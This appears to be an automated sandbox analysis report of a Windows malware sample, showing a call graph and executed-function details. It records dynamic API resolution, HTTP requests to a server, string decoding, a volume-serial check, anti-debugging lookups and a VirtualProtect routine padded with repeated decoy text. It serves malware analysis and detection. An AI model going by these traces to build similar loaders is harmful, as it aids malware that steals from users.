5f3c1c 38597->38598 38599 5f4610 2 API calls 38598->38599 38600 5f3c35 38599->38600 38601 5f4610 2 API calls 38600->38601 38602 5f3c4e 38601->38602 38603 5f4610 2 API calls 38602->38603 38604 5f3c67 38603->38604 38605 5f4610 2 API calls 38604->38605 38606 5f3c80 38605->38606 38607 5f4610 2 API calls 38606->38607 38608 5f3c99 38607->38608 38609 5f4610 2 API calls 38608->38609 38610 5f3cb2 38609->38610 38611 5f4610 2 API calls 38610->38611 38612 5f3ccb 38611->38612 38613 5f4610 2 API calls 38612->38613 38614 5f3ce4 38613->38614 38615 5f4610 2 API calls 38614->38615 38616 5f3cfd 38615->38616 38617 5f4610 2 API calls 38616->38617 38618 5f3d16 38617->38618 38619 5f4610 2 API calls 38618->38619 38620 5f3d2f 38619->38620 38621 5f4610 2 API calls 38620->38621 38622 5f3d48 38621->38622 38623 5f4610 2 API calls 38622->38623 38624 5f3d61 38623->38624 38625 5f4610 2 API calls 38624->38625 38626 5f3d7a 38625->38626 38627 5f4610 2 API calls 38626->38627 38628 5f3d93 38627->38628 38629 5f4610 2 API calls 38628->38629 38630 5f3dac 38629->38630 38631 5f4610 2 API calls 38630->38631 38632 5f3dc5 38631->38632 38633 5f4610 2 API calls 38632->38633 38634 5f3dde 38633->38634 38635 5f4610 2 API calls 38634->38635 38636 5f3df7 38635->38636 38637 5f4610 2 API calls 38636->38637 38638 5f3e10 38637->38638 38639 5f4610 2 API calls 38638->38639 38640 5f3e29 38639->38640 38641 5f4610 2 API calls 38640->38641 38642 5f3e42 38641->38642 38643 5f4610 2 API calls 38642->38643 38644 5f3e5b 38643->38644 38645 5f4610 2 API calls 38644->38645 38646 5f3e74 38645->38646 38647 5f4610 2 API calls 38646->38647 38648 5f3e8d 38647->38648 38649 5f4610 2 API calls 38648->38649 38650 5f3ea6 38649->38650 38651 5f4610 2 API calls 38650->38651 38652 5f3ebf 38651->38652 38653 5f4610 2 API calls 38652->38653 38654 5f3ed8 38653->38654 38655 5f4610 2 API calls 38654->38655 38656 5f3ef1 38655->38656 38657 5f4610 2 API calls 38656->38657 38658 5f3f0a 38657->38658 38659 5f4610 2 API calls 38658->38659 38660 5f3f23 38659->38660 38661 5f4610 2 API calls 38660->38661 38662 5f3f3c 38661->38662 38663 5f4610 2 API calls 38662->38663 38664 5f3f55 38663->38664 38665 5f4610 2 API calls 38664->38665 38666 5f3f6e 38665->38666 38667 5f4610 2 API calls 38666->38667 38668 5f3f87 38667->38668 38669 5f4610 2 API calls 38668->38669 38670 5f3fa0 38669->38670 38671 5f4610 2 API calls 38670->38671 38672 5f3fb9 38671->38672 38673 5f4610 2 API calls 38672->38673 38674 5f3fd2 38673->38674 38675 5f4610 2 API calls 38674->38675 38676 5f3feb 38675->38676 38677 5f4610 2 API calls 38676->38677 38678 5f4004 38677->38678 38679 5f4610 2 API calls 38678->38679 38680 5f401d 38679->38680 38681 5f4610 2 API calls 38680->38681 38682 5f4036 38681->38682 38683 5f4610 2 API calls 38682->38683 38684 5f404f 38683->38684 38685 5f4610 2 API calls 38684->38685 38686 5f4068 38685->38686 38687 5f4610 2 API calls 38686->38687 38688 5f4081 38687->38688 38689 5f4610 2 API calls 38688->38689 38690 5f409a 38689->38690 38691 5f4610 2 API calls 38690->38691 38692 5f40b3 38691->38692 38693 5f4610 2 API calls 38692->38693 38694 5f40cc 38693->38694 38695 5f4610 2 API calls 38694->38695 38696 5f40e5 38695->38696 38697 5f4610 2 API calls 38696->38697 38698 5f40fe 38697->38698 38699 5f4610 2 API calls 38698->38699 38700 5f4117 38699->38700 38701 5f4610 2 API calls 38700->38701 38702 5f4130 38701->38702 38703 5f4610 2 API calls 38702->38703 38704 5f4149 38703->38704 38705 5f4610 2 API calls 38704->38705 38706 5f4162 38705->38706 38707 5f4610 2 API calls 38706->38707 38708 5f417b 38707->38708 38709 5f4610 2 API calls 38708->38709 38710 5f4194 38709->38710 38711 5f4610 2 API calls 38710->38711 38712 5f41ad 38711->38712 38713 5f4610 2 API calls 38712->38713 38714 5f41c6 38713->38714 38715 5f4610 2 API calls 38714->38715 38716 5f41df 38715->38716 38717 5f4610 2 API calls 38716->38717 38718 5f41f8 38717->38718 38719 5f4610 2 API calls 38718->38719 38720 5f4211 38719->38720 38721 5f4610 2 API calls 38720->38721 38722 5f422a 38721->38722 38723 5f4610 2 API calls 38722->38723 38724 5f4243 38723->38724 38725 5f4610 2 API calls 38724->38725 38726 5f425c 38725->38726 38727 5f4610 2 API calls 38726->38727 38728 5f4275 38727->38728 38729 5f4610 2 API calls 38728->38729 38730 5f428e 38729->38730 38731 5f4610 2 API calls 38730->38731 38732 5f42a7 38731->38732 38733 5f4610 2 API calls 38732->38733 38734 5f42c0 38733->38734 38735 5f4610 2 API calls 38734->38735 38736 5f42d9 38735->38736 38737 5f4610 2 API calls 38736->38737 38738 5f42f2 38737->38738 38739 5f4610 2 API calls 38738->38739 38740 5f430b 38739->38740 38741 5f4610 2 API calls 38740->38741 38742 5f4324 38741->38742 38743 5f4610 2 API calls 38742->38743 38744 5f433d 38743->38744 38745 5f4610 2 API calls 38744->38745 38746 5f4356 38745->38746 38747 5f4610 2 API calls 38746->38747 38748 5f436f 38747->38748 38749 5f4610 2 API calls 38748->38749 38750 5f4388 38749->38750 38751 5f4610 2 API calls 38750->38751 38752 5f43a1 38751->38752 38753 5f4610 2 API calls 38752->38753 38754 5f43ba 38753->38754 38755 5f4610 2 API calls 38754->38755 38756 5f43d3 38755->38756 38757 5f4610 2 API calls 38756->38757 38758 5f43ec 38757->38758 38759 5f4610 2 API calls 38758->38759 38760 5f4405 38759->38760 38761 5f4610 2 API calls 38760->38761 38762 5f441e 38761->38762 38763 5f4610 2 API calls 38762->38763 38764 5f4437 38763->38764 38765 5f4610 2 API calls 38764->38765 38766 5f4450 38765->38766 38767 5f4610 2 API calls 38766->38767 38768 5f4469 38767->38768 38769 5f4610 2 API calls 38768->38769 38770 5f4482 38769->38770 38771 5f4610 2 API calls 38770->38771 38772 5f449b 38771->38772 38773 5f4610 2 API calls 38772->38773 38774 5f44b4 38773->38774 38775 5f4610 2 API calls 38774->38775 38776 5f44cd 38775->38776 38777 5f4610 2 API calls 38776->38777 38778 5f44e6 38777->38778 38779 5f4610 2 API calls 38778->38779 38780 5f44ff 38779->38780 38781 5f4610 2 API calls 38780->38781 38782 5f4518 38781->38782 38783 5f4610 2 API calls 38782->38783 38784 5f4531 38783->38784 38785 5f4610 2 API calls 38784->38785 38786 5f454a 38785->38786 38787 5f4610 2 API calls 38786->38787 38788 5f4563 38787->38788 38789 5f4610 2 API calls 38788->38789 38790 5f457c 38789->38790 38791 5f4610 2 API calls 38790->38791 38792 5f4595 38791->38792 38793 5f4610 2 API calls 38792->38793 38794 5f45ae 38793->38794 38795 5f4610 2 API calls 38794->38795 38796 5f45c7 38795->38796 38797 5f4610 2 API calls 38796->38797 38798 5f45e0 38797->38798 38799 5f4610 2 API calls 38798->38799 38800 5f45f9 38799->38800 38801 609f20 38800->38801 38802 609f30 43 API calls 38801->38802 38803 60a346 8 API calls 38801->38803 38802->38803 38804 60a456 38803->38804 38805 60a3dc GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 38803->38805 38806 60a463 8 API calls 38804->38806 38807 60a526 38804->38807 38805->38804 38806->38807 38808 60a5a8 38807->38808 38809 60a52f GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 38807->38809 38810 60a5b5 6 API calls 38808->38810 38811 60a647 38808->38811 38809->38808 38810->38811 38812 60a654 9 API calls 38811->38812 38813 60a72f 38811->38813 38812->38813 38814 60a7b2 38813->38814 38815 60a738 GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 38813->38815 38816 60a7bb GetProcAddress GetProcAddress 38814->38816 38817 60a7ec 38814->38817 38815->38814 38816->38817 38818 60a825 38817->38818 38819 60a7f5 GetProcAddress GetProcAddress 38817->38819 38820 60a922 38818->38820 38821 60a832 10 API calls 38818->38821 38819->38818 38822 60a92b GetProcAddress GetProcAddress GetProcAddress GetProcAddress 38820->38822 38823 60a98d 38820->38823 38821->38820 38822->38823 38824 60a996 GetProcAddress 38823->38824 38825 60a9ae 38823->38825 38824->38825 38826 60a9b7 GetProcAddress GetProcAddress GetProcAddress GetProcAddress 38825->38826 38827 605ef3 38825->38827 38826->38827 38828 5f1590 38827->38828 39098 5f16b0 38828->39098 38831 60aab0 lstrcpy 38832 5f15b5 38831->38832 38833 60aab0 lstrcpy 38832->38833 38834 5f15c7 38833->38834 38835 60aab0 lstrcpy 38834->38835 38836 5f15d9 38835->38836 38837 60aab0 lstrcpy 38836->38837 38838 5f1663 38837->38838 38839 605760 38838->38839 38840 605771 38839->38840 38841 60ab30 2 API calls 38840->38841 38842 60577e 38841->38842 38843 60ab30 2 API calls 38842->38843 38844 60578b 38843->38844 38845 60ab30 2 API calls 38844->38845 38846 605798 38845->38846 38847 60aa50 lstrcpy 38846->38847 38848 6057a5 38847->38848 38849 60aa50 lstrcpy 38848->38849 38850 6057b2 38849->38850 38851 60aa50 lstrcpy 38850->38851 38852 6057bf 38851->38852 38853 60aa50 lstrcpy 38852->38853 38886 6057cc 38853->38886 38854 605893 StrCmpCA 38854->38886 38855 6058f0 StrCmpCA 38856 605a2c 38855->38856 38855->38886 38857 60abb0 lstrcpy 38856->38857 38858 605a38 38857->38858 38859 60ab30 2 API calls 38858->38859 38861 605a46 38859->38861 38860 60ab30 lstrlen lstrcpy 38860->38886 38863 60ab30 2 API calls 38861->38863 38862 605aa6 StrCmpCA 38864 605be1 38862->38864 38862->38886 38868 605a55 38863->38868 38867 60abb0 lstrcpy 38864->38867 38865 60aa50 lstrcpy 38865->38886 38866 60aab0 lstrcpy 38866->38886 38869 605bed 38867->38869 38870 5f16b0 lstrcpy 38868->38870 38872 60ab30 2 API calls 38869->38872 38882 605a61 38870->38882 38871 5f1590 lstrcpy 38871->38886 38873 605bfb 38872->38873 38877 60ab30 2 API calls 38873->38877 38874 605c5b StrCmpCA 38878 605c66 Sleep 38874->38878 38879 605c78 38874->38879 38875 605510 25 API calls 38875->38886 38876 605440 20 API calls 38876->38886 38880 605c0a 38877->38880 38878->38886 38881 60abb0 lstrcpy 38879->38881 38884 5f16b0 lstrcpy 38880->38884 38885 605c84 38881->38885 38882->37946 38883 60abb0 lstrcpy 38883->38886 38884->38882 38887 60ab30 2 API calls 38885->38887 38886->38854 38886->38855 38886->38860 38886->38862 38886->38865 38886->38866 38886->38871 38886->38874 38886->38875 38886->38876 38886->38883 38890 6059da StrCmpCA 38886->38890 38893 605b8f StrCmpCA 38886->38893 38888 605c93 38887->38888 38889 60ab30 2 API calls 38888->38889 38891 605ca2 38889->38891 38890->38886 38892 5f16b0 lstrcpy 38891->38892 38892->38882 38893->38886 38895 6076e3 GetVolumeInformationA 38894->38895 38896 6076dc 38894->38896 38897 607721 38895->38897 38896->38895 38898 60778c GetProcessHeap RtlAllocateHeap 38897->38898 38899 6077b8 wsprintfA 38898->38899 38900 6077a9 38898->38900 38902 60aa50 lstrcpy 38899->38902 38901 60aa50 lstrcpy 38900->38901 38903 605ff7 38901->38903 38902->38903 38903->37967 38905 60aab0 lstrcpy 38904->38905 38906 5f48e9 38905->38906 39107 5f4800 38906->39107 38908 5f48f5 38909 60aa50 lstrcpy 38908->38909 38910 5f4927 38909->38910 38911 60aa50 lstrcpy 38910->38911 38912 5f4934 38911->38912 38913 60aa50 lstrcpy 38912->38913 38914 5f4941 38913->38914 38915 60aa50 lstrcpy 38914->38915 38916 5f494e 38915->38916 38917 60aa50 lstrcpy 38916->38917 38918 5f495b InternetOpenA StrCmpCA 38917->38918 38919 5f4994 38918->38919 38920 5f4f1b InternetCloseHandle 38919->38920 39113 608cf0 38919->39113 38922 5f4f38 38920->38922 39128 5fa210 CryptStringToBinaryA 38922->39128 38923 5f49b3 39121 60ac30 38923->39121 38926 5f49c6 38928 60abb0 lstrcpy 38926->38928 38933 5f49cf 38928->38933 38929 60ab30 2 API calls 38930 5f4f55 38929->38930 38932 60acc0 4 API calls 38930->38932 38931 5f4f77 codecvt 38935 60aab0 lstrcpy 38931->38935 38934 5f4f6b 38932->38934 38937 60acc0 4 API calls 38933->38937 38936 60abb0 lstrcpy 38934->38936 38948 5f4fa7 38935->38948 38936->38931 38938 5f49f9 38937->38938 38939 60abb0 lstrcpy 38938->38939 38940 5f4a02 38939->38940 38941 60acc0 4 API calls 38940->38941 38942 5f4a21 38941->38942 38943 60abb0 lstrcpy 38942->38943 38944 5f4a2a 38943->38944 38945 60ac30 3 API calls 38944->38945 38946 5f4a48 38945->38946 38947 60abb0 lstrcpy 38946->38947 38949 5f4a51 38947->38949 38948->37970 38950 60acc0 4 API calls 38949->38950 38951 5f4a70 38950->38951 38952 60abb0 lstrcpy 38951->38952 38953 5f4a79 38952->38953 38954 60acc0 4 API calls 38953->38954 38955 5f4a98 38954->38955 38956 60abb0 lstrcpy 38955->38956 38957 5f4aa1 38956->38957 38958 60acc0 4 API calls 38957->38958 38959 5f4acd 38958->38959 38960 60ac30 3 API calls 38959->38960 38961 5f4ad4 38960->38961 38962 60abb0 lstrcpy 38961->38962 38963 5f4add 38962->38963 38964 5f4af3 InternetConnectA 38963->38964 38964->38920 38965 5f4b23 HttpOpenRequestA 38964->38965 38967 5f4f0e InternetCloseHandle 38965->38967 38968 5f4b78 38965->38968 38967->38920 38969 60acc0 4 API calls 38968->38969 38970 5f4b8c 38969->38970 38971 60abb0 lstrcpy 38970->38971 38972 5f4b95 38971->38972 38973 60ac30 3 API calls 38972->38973 38974 5f4bb3 38973->38974 38975 60abb0 lstrcpy 38974->38975 38976 5f4bbc 38975->38976 38977 60acc0 4 API calls 38976->38977 38978 5f4bdb 38977->38978 38979 60abb0 lstrcpy 38978->38979 38980 5f4be4 38979->38980 38981 60acc0 4 API calls 38980->38981 38982 5f4c05 38981->38982 38983 60abb0 lstrcpy 38982->38983 38984 5f4c0e 38983->38984 38985 60acc0 4 API calls 38984->38985 38986 5f4c2e 38985->38986 38987 60abb0 lstrcpy 38986->38987 38988 5f4c37 38987->38988 38989 60acc0 4 API calls 38988->38989 38990 5f4c56 38989->38990 38991 60abb0 lstrcpy 38990->38991 38992 5f4c5f 38991->38992 38993 60ac30 3 API calls 38992->38993 38994 5f4c7d 38993->38994 38995 60abb0 lstrcpy 38994->38995 38996 5f4c86 38995->38996 38997 60acc0 4 API calls 38996->38997 38998 5f4ca5 38997->38998 38999 60abb0 lstrcpy 38998->38999 39000 5f4cae 38999->39000 39001 60acc0 4 API calls 39000->39001 39002 5f4ccd 39001->39002 39003 60abb0 lstrcpy 39002->39003 39004 5f4cd6 39003->39004 39005 60ac30 3 API calls 39004->39005 39006 5f4cf4 39005->39006 39007 60abb0 lstrcpy 39006->39007 39008 5f4cfd 39007->39008 39009 60acc0 4 API calls 39008->39009 39010 5f4d1c 39009->39010 39011 60abb0 lstrcpy 39010->39011 39012 5f4d25 39011->39012 39013 60acc0 4 API calls 39012->39013 39014 5f4d46 39013->39014 39015 60abb0 lstrcpy 39014->39015 39016 5f4d4f 39015->39016 39017 60acc0 4 API calls 39016->39017 39018 5f4d6f 39017->39018 39019 60abb0 lstrcpy 39018->39019 39020 5f4d78 39019->39020 39021 60acc0 4 API calls 39020->39021 39022 5f4d97 39021->39022 39023 60abb0 lstrcpy 39022->39023 39024 5f4da0 39023->39024 39025 60ac30 3 API calls 39024->39025 39026 5f4dbe 39025->39026 39027 60abb0 lstrcpy 39026->39027 39028 5f4dc7 39027->39028 39029 60aa50 lstrcpy 39028->39029 39030 5f4de2 39029->39030 39031 60ac30 3 API calls 39030->39031 39032 5f4e03 39031->39032 39033 60ac30 3 API calls 39032->39033 39034 5f4e0a 39033->39034 39035 60abb0 lstrcpy 39034->39035 39036 5f4e16 39035->39036 39037 5f4e37 lstrlen 39036->39037 39038 5f4e4a 39037->39038 39039 5f4e53 lstrlen 39038->39039 39127 60ade0 39039->39127 39041 5f4e63 HttpSendRequestA 39042 5f4e82 InternetReadFile 39041->39042 39043 5f4eb7 InternetCloseHandle 39042->39043 39048 5f4eae 39042->39048 39045 60ab10 39043->39045 39045->38967 39046 60acc0 4 API calls 39046->39048 39047 60abb0 lstrcpy 39047->39048 39048->39042 39048->39043 39048->39046 39048->39047 39134 60ade0 39049->39134 39051 601a14 StrCmpCA 39052 601a1f ExitProcess 39051->39052 39063 601a27 39051->39063 39053 601c12 39053->37972 39054 601bc0 StrCmpCA 39054->39063 39055 601b41 StrCmpCA 39055->39063 39056 601ba1 StrCmpCA 39056->39063 39057 601b82 StrCmpCA 39057->39063 39058 601b63 StrCmpCA 39058->39063 39059 601aad StrCmpCA 39059->39063 39060 601acf StrCmpCA 39060->39063 39061 601afd StrCmpCA 39061->39063 39062 601b1f StrCmpCA 39062->39063 39063->39053 39063->39054 39063->39055 39063->39056 39063->39057 39063->39058 39063->39059 39063->39060 39063->39061 39063->39062 39064 60ab30 lstrlen lstrcpy 39063->39064 39064->39063 39065->37978 39066->37980 39067->37986 39068->37988 39069->37994 39070->37996 39071->38000 39072->38004 39073->38008 39074->38014 39075->38016 39076->38020 39077->38033 39078->38037 39079->38043 39080->38034 39081->38043 39082->38051 39083->38075 39084->38060 39085->38048 39086->38047 39087->38053 39088->38055 39089->38063 39090->38070 39091->38091 39092->38095 39093->38094 39094->38090 39095->38094 39096->38104 39099 60aab0 lstrcpy 39098->39099 39100 5f16c3 39099->39100 39101 60aab0 lstrcpy 39100->39101 39102 5f16d5 39101->39102 39103 60aab0 lstrcpy 39102->39103 39104 5f16e7 39103->39104 39105 60aab0 lstrcpy 39104->39105 39106 5f15a3 39105->39106 39106->38831 39108 5f4816 39107->39108 39109 5f4888 lstrlen 39108->39109 39133 60ade0 39109->39133 39111 5f4898 InternetCrackUrlA 39112 5f48b7 39111->39112 39112->38908 39114 60aa50 lstrcpy 39113->39114 39115 608d04 39114->39115 39116 60aa50 lstrcpy 39115->39116 39117 608d12 GetSystemTime 39116->39117 39118 608d29 39117->39118 39119 60aab0 lstrcpy 39118->39119 39120 608d8c 39119->39120 39120->38923 39122 60ac41 39121->39122 39123 60ac98 39122->39123 39125 60ac78 lstrcpy lstrcat 39122->39125 39124 60aab0 lstrcpy 39123->39124 39126 60aca4 39124->39126 39125->39123 39126->38926 39127->39041 39129 5f4f3e 39128->39129 39130 5fa249 LocalAlloc 39128->39130 39129->38929 39129->38931 39130->39129 39131 5fa264 CryptStringToBinaryA 39130->39131 39131->39129 39132 5fa289 LocalFree 39131->39132 39132->39129 39133->39111 39134->39051

                                      Executed Functions

                                      Function 00609BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212libraryloaderCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 660 609bb0-609bc4 call 609aa0 663 609de3-609e42 LoadLibraryA * 5 660->663 664 609bca-609dde call 609ad0 GetProcAddress * 21 660->664 666 609e44-609e58 GetProcAddress 663->666 667 609e5d-609e64 663->667 664->663 666->667 669 609e96-609e9d 667->669 670 609e66-609e91 GetProcAddress * 2 667->670 671 609eb8-609ebf 669->671 672 609e9f-609eb3 GetProcAddress 669->672 670->669 673 609ec1-609ed4 GetProcAddress 671->673 674 609ed9-609ee0 671->674 672->671 673->674 675 609f11-609f12 674->675 676 609ee2-609f0c GetProcAddress * 2 674->676 676->675
                                      APIs
                                      • GetProcAddress.KERNEL32(76210000,00F415A8), ref: 00609BF1
                                      • GetProcAddress.KERNEL32(76210000,00F41728), ref: 00609C0A
                                      • GetProcAddress.KERNEL32(76210000,00F415D8), ref: 00609C22
                                      • GetProcAddress.KERNEL32(76210000,00F41518), ref: 00609C3A
                                      • GetProcAddress.KERNEL32(76210000,00F416F8), ref: 00609C53
                                      • GetProcAddress.KERNEL32(76210000,00F48AF8), ref: 00609C6B
                                      • GetProcAddress.KERNEL32(76210000,00F35488), ref: 00609C83
                                      • GetProcAddress.KERNEL32(76210000,00F35688), ref: 00609C9C
                                      • GetProcAddress.KERNEL32(76210000,00F41608), ref: 00609CB4
                                      • GetProcAddress.KERNEL32(76210000,00F41620), ref: 00609CCC
                                      • GetProcAddress.KERNEL32(76210000,00F41710), ref: 00609CE5
                                      • GetProcAddress.KERNEL32(76210000,00F41638), ref: 00609CFD
                                      • GetProcAddress.KERNEL32(76210000,00F355A8), ref: 00609D15
                                      • GetProcAddress.KERNEL32(76210000,00F41740), ref: 00609D2E
                                      • GetProcAddress.KERNEL32(76210000,00F417A0), ref: 00609D46
                                      • GetProcAddress.KERNEL32(76210000,00F355C8), ref: 00609D5E
                                      • GetProcAddress.KERNEL32(76210000,00F414E8), ref: 00609D77
                                      • GetProcAddress.KERNEL32(76210000,00F41500), ref: 00609D8F
                                      • GetProcAddress.KERNEL32(76210000,00F355E8), ref: 00609DA7
                                      • GetProcAddress.KERNEL32(76210000,00F41890), ref: 00609DC0
                                      • GetProcAddress.KERNEL32(76210000,00F356A8), ref: 00609DD8
                                      • LoadLibraryA.KERNEL32(00F41848,?,00606CA0), ref: 00609DEA
                                      • LoadLibraryA.KERNEL32(00F41878,?,00606CA0), ref: 00609DFB
                                      • LoadLibraryA.KERNEL32(00F41830,?,00606CA0), ref: 00609E0D
                                      • LoadLibraryA.KERNEL32(00F41860,?,00606CA0), ref: 00609E1F
                                      • LoadLibraryA.KERNEL32(00F418A8,?,00606CA0), ref: 00609E30
                                      • GetProcAddress.KERNEL32(75B30000,00F417E8), ref: 00609E52
                                      • GetProcAddress.KERNEL32(751E0000,00F41800), ref: 00609E73
                                      • GetProcAddress.KERNEL32(751E0000,00F41818), ref: 00609E8B
                                      • GetProcAddress.KERNEL32(76910000,00F48D10), ref: 00609EAD
                                      • GetProcAddress.KERNEL32(75670000,00F353A8), ref: 00609ECE
                                      • GetProcAddress.KERNEL32(77310000,00F48C68), ref: 00609EEF
                                      • GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00609F06
                                      Strings
                                      • NtQueryInformationProcess, xrefs: 00609EFA
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: AddressProc$LibraryLoad
                                      • String ID: NtQueryInformationProcess
                                      • API String ID: 2238633743-2781105232
                                      • Opcode ID: 16f279e92eec1774786968188db181e1302924d320d85688195df9ea85b17b88
                                      • Instruction ID: 10780bc6fbae2ab965a82d825613cb71e93194e1283d379e6120cd2e6245ea4c
                                      • Opcode Fuzzy Hash: 16f279e92eec1774786968188db181e1302924d320d85688195df9ea85b17b88
                                      • Instruction Fuzzy Hash: 4FA1EAB56182009FC344DFA9FC88D567BB9F749701B18862BFA1AC3274EB35A950CF64
                                      Function 005F4610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148memoryCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 764 5f4610-5f46e5 RtlAllocateHeap 781 5f46f0-5f46f6 764->781 782 5f479f-5f47f9 VirtualProtect 781->782 783 5f46fc-5f479a 781->783 783->781
                                      APIs
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 005F465E
                                      • VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 005F47EC
                                      Strings
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4667
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F46FC
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F46BD
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4763
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4707
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F47C0
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4617
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F478F
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F46A7
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F476E
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F46B2
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4784
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F47CB
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F47AA
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4643
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F47B5
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4688
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F46C8
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4712
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4779
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4693
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4672
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4622
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4728
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F462D
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F467D
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F46D3
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F479F
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F4638
                                      • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005F471D
